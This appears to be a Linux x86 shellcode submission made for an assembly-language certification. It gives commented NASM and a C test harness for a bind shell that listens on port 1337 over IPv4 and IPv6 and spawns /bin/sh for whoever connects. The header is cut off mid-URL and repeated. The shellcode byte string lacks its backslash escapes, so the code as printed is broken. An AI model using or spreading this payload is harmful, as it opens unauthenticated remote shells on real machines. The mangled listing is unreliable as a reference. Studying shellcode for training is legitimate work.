/*
# Exploit Title: Linux x86 Dual Network Stack (IPv4 and IPv6) Bind TCP Shellcode
# Date: 2018-08-18
# Shellcode Author: Kevin Kirsche
# Shellcode Repository: https://github. /*
# Exploit Title: Linux x86 Dual Network Stack (IPv4 and IPv6) Bind TCP Shellcode
# Date: 2018-08-18
# Shellcode Author: Kevin Kirsche
# Shellcode Repository: https://github.com/kkirsche/SLAE/tree/master/assignment_1-bind_shell
# Tested on: Shell on Ubuntu 18.04 with gcc 7.3.0 / Connected from Kali 2018.2

# This shellcode will listen on port 1337 on all of the host's IPv4 and IPv6 addresses and give you /bin/sh

This shellcode has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1134

Compilation instructions:
gcc -o shellcode shellcode.c -fno-stack-protector -z execstack

Commented NASM:
global _start

section .text

_start:
; socket
;; cleanup
xor ebx, ebx
;; arguments
push ebx ; #define IP_PROTO 0
push 0x1 ; #define SOCK_STREAM 1
push 0xa ; #define PF_INET6 10
;; function
mov ecx, esp ; pointer to args on the stack into ecx
push 0x66
pop eax ; socketcall 0x66 == 102
inc ebx ; #define SYS_SOCKET 1
;; call
int 0x80
;; returned data
xchg esi, eax ; sockfd eax -> esi

; setsocketopt
;; cleanup
xor eax, eax
;; arguments
push eax ; NO = 0x0
mov edx, esp ; get a pointer to the null value
push 0x2 ; sizeof(NO)
push edx ; pointer to NO
push 0x1a ; #define IPV6_V6ONLY 26
push 0x29 ; #define IPPROTO_IPV6
;; function
mov ecx, esp ; pointer to args on the stack into ecx
mov al, 0x66 ; socketcall 0x66 == 102
mov bl, 0xe ; #define SYS_SETSOCKOPT 14
;; call
int 0x80

; bind ipv4
;; cleanup
xor edx, edx
;; v4lhost struct
push edx ; #define INADDR_ANY 0
push word 0x3905 ; port 1337 in big endian format
push 0x2 ; #define AF_INET 2
;; arguments
mov ecx, esp ; pointer to v4lhost struct arguments
push 0x10 ; sizeof v4lhost
push ecx ; pointer v4lhost
push esi ; push sockfd onto stack
;; function
mov ecx, esp ; argument pointer into ecx
mov bl, 0x2 ; #define SYS_BIND 2
mov al, 0x66 ; socketcall 0x66 == 102
;; call
int 0x80

; bind ipv6
;; cleanup
xor eax, eax
;; v6lhost struct
push dword eax ; v6_host.sin6_addr
push dword eax
push dword eax
push dword eax
push dword eax
push word 0x3905 ; port 1337
push word 0x0a ; PF_INET6
;; arguments
mov ecx, esp ; pointer to struct into ecx
push 0x1c ; sizeof struct
push ecx ; pointer to struct
push esi ; sockfd
;; function
mov ecx, esp ; arguments into register
mov bl, 0x2 ; #define SYS_BIND 2
mov al, 0x66 ; socketcall 0x66 == 102
;; call
int 0x80

; listen
;; arguments
push byte 0x2 ; queuelimit = 2
push esi ; sockfd
;; function
mov ecx, esp ; pointer to args into ecx
mov bl, 0x4 ; #define SYS_LISTEN 4
mov al, 0x66 ; socketcall 0x66 == 102
;; call
int 0x80

; accept
;; cleanup
xor ebx, ebx
;;arguments
push ebx ; push NULL
push ebx ; push NULL
push esi ; sockfd
;; function
mov ecx, esp ; pointer to args into ecx
mov bl, 0x5 ; #define SYS_ACCEPT 5
mov al, 0x66 ; socketcall 0x66 == 102
;; call
int 0x80
;; returned data
xchg ebx, eax ; ebx holds the new sockfd that we accepted

; dup file descriptor
;; setup counters
sub ecx, ecx ; zero out ecx
mov cl, 0x2 ; create a counter
;; loop
duploop:
mov al, 0x3f ; SYS_DUP2 syscall
int 0x80 ; call SYS_DUP2
dec ecx ; decrement loop counter
jns duploop ; as long as SF is not set, keep looping

; execve
;; cleanup
xor edx, edx
;; command to run
push edx ; NULL string terminator
push 0x68732f2f ; hs//
push 0x6e69622f ; nib/
;; arguments
mov ebx, esp ; pointer to args into ebx
push edx ; null ARGV
push ebx ; command to run
;; function
mov ecx, esp
mov al, 0x0b ; execve systemcall
int 0x80
*/
#include <stdio.h>
#include <string.h>

unsigned char code[] = "x31xdbx53x6ax01x6ax0ax89xe1x6ax66x58x43"
"xcdx80x96x31xc0x50x89xe2x6ax02x52x6ax1ax6ax29x89xe1xb0"
"x66xb3x0excdx80x31xd2x52x66x68x05x39x6ax02x89xe1x6ax10"
"x51x56x89xe1xb3x02xb0x66xcdx80x31xc0x50x50x50x50x50x66"
"x68x05x39x66x6ax0ax89xe1x6ax1cx51x56x89xe1xb3x02xb0x66"
"xcdx80x6ax02x56x89xe1xb3x04xb0x66xcdx80x31xdbx53x53x56"
"x89xe1xb3x05xb0x66xcdx80x93x29xc9xb1x02xb0x3fxcdx80x49"
"x79xf9x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52"
"x53x89xe1xb0x0bxcdx80";


int main() {
// pollute the registers
asm("mov $0x78975432, %eax "
"mov $0x17645589, %ecx "
"mov $0x23149875, %edx ");

// begin shellcode
printf("Shellcode Length: %d ", strlen(code));
// execute our shellcode
int (*ret)() = (int(*)())code;
ret();
}